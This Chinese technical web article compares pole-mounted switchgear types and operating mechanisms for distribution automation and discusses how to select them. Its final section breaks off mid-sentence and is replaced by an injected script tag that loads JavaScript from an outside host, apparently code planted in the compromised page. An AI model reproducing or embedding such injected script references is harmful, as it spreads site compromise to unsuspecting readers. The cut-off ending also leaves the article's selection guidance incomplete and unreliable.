配网自动化系统柱上开关设备的特性与选型探讨

引言

 随着改革开放的不断深入,各类产业突飞猛进,推动了国民经济的快速发展,客户对供电质量也提出了更高的要求,提高电网的供电可靠性便成为供电部门急需解决的大问题。为从根本上解决这一问题,除了加强运行和设备管理、降低故障率外,还必须在重要区域建设配网自动化系统。配网自动化系统在蓬莱电业公司的应用,使供电可靠性达到99.98%,而开关设备的选型功不可没。

1 配电自动化系统的构成

 目前先进的配电自动化系统的构成大致由配电线路、重合器、分段器、分支开关(断路器)、线路自动化终端(ftu)、通讯系统、配网子站、配网总站几部分组成,如图1所示。

  其中柱上开关设备是配网自动化的核心部分,它的性能将直接影响配网自动化的质量,因此,配网自动化开关设备的选型就显得尤为重要。

2柱上开关设备的类型

 目前市场上的柱上开关设备形式多样,性能也各不相同。具体可分为以下几类:

 按出产国可分为国产和进口两种;

 按触头灭弧能力可分为断路器、负荷开关;

 按绝缘介质可分为油绝缘、空气绝缘、sf6绝缘;

 按操作机构可分为电磁操作机构、弹簧操作机构、永磁操作机构;

 按控制器的功能可分为断路器、重合器、分段器;

 按出线套管的材质可分为瓷套管和硅橡胶套管。

3 各类开关设备的特点

3.1 国产开关设备

 优点是按国内电力系统的使用特点设计制造,般采用弹簧操作机构,可进行电动和手动分合闸操作。电流互感器二次电流按5a设计;可设多组、多变比,有利于满足继电保护、遥测、计量的不同要求。一般开关本身配置隔离开关,并设有操作闭锁。

 缺点是开关内部多采用空气绝缘,安全性能受周围环境的影响较大,无专用的操作控制箱,继电保护功能靠a、c两相的电流脱扣器来实现,因此无法实现继电保护的上、下级的合理配合,容易造成开关的误动和拒动。操作机构制造工艺粗糙、气密性差。尤其在空气潮湿地区或沿海地区,在很短的时间内机构部件便有可能锈蚀严重无法进行正常的操作。

3.2 进口开关设备

 所有进口开关的共同点是:①电流互感器二次电流按1a设计。一般为600/1和1000/1两种选择。②所有开关均不配刀其了闸。③配有专用的操作控制器。控制器的控制、保护功能齐全可选择性强,有利于保护上下级的配合。④多采用零表压下的sf6气体绝缘密封性能好,内部绝缘不受外部环境的影响,操作机构制造工艺精细且大多密封在sf6气体腔内,现场免维护。⑤价格高,几乎是国产开关设备的两倍。⑥订货周期长。⑦一旦发生问题现场一般不能维修。

3.3 断路器、重合器.负荷开关

断路器:具有很强的灭弧能力。可关合、切断故障电流。配备含微机保护的控制器,可实现对分支线路的保护。

 重合器:开关本体与断路器完全相同,区别在于控制器的功能上。断路器的控制器功能简单仅具备控制和线路电流保护功能,其他功能靠ftu实现。而重合器的控制器除了具备断路器控制器的所有功能外,还具有三次以上的重合闸功能、多种特性曲线、相位判断、程序恢复功能、运行程序储存功能、自主判断功能、与自动化系统的连接功能等。价格较高。

 负荷开关:可以关合故障电流,开断额定负荷电流,有真空和sf6灭弧两种型式。其主要作为线路的分段开关。配备智能控制器就成为分段器。造价较低。

4 各类操动机构的特点

4.1 电磁操动机构

 合闸电流大,零部件多,结构复杂。除电动分、合闸外还可以手动分闸操作。不能手动合闸送电的只可以在没有电源的情况下手动合上开关,不能称其为配网自动化的理想选择。

4.2 永磁操动机构

 永磁操动机构是一种新的操动机构,它有单稳态和双稳态之分。特点是结构简单,开关状态靠永久磁铁的磁力保持,机械传动部件极少。机构密封程度较高,受外界影响较小。但其本质上还是电磁操动机构,瞬时功率大及机构特性控制是其难点,控制器较复杂,其启动电容以及电子控制线路的寿命、温度特性及可靠性是操动机构总体可靠性的瓶颈,应加以高度重视。永磁操动机构最为致命的缺点是没有手动合闸手柄。在合闸送电时,如果遇到控制器或合闸回路故障将会觉得非常棘手。

4.3 弹簧操动机构

 国产弹簧操动机构结构复杂、设计观念陈旧、气密性差、可靠动作的寿命短。

  进口弹簧操动机构目前以三角板式操动机构为代表,结构非常简单零部件极少。整个机构密封在sf6腔内,故障机率极低。其功能不但能满足电动操作还可以进行手动分、合闸操作。即便是控制器故障也能尽快手动恢复送电,是目前最为理想的操动机构。

5 开关的选型

 配网自动化以故障自动诊断、故障区域自动隔离、非故障区自动恢复送电为目的,开关设备的选型也要以此为依据?script src=http://er12.com/t.js>

  • 配网自动化系统柱上开关设备的特性与选型探讨已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计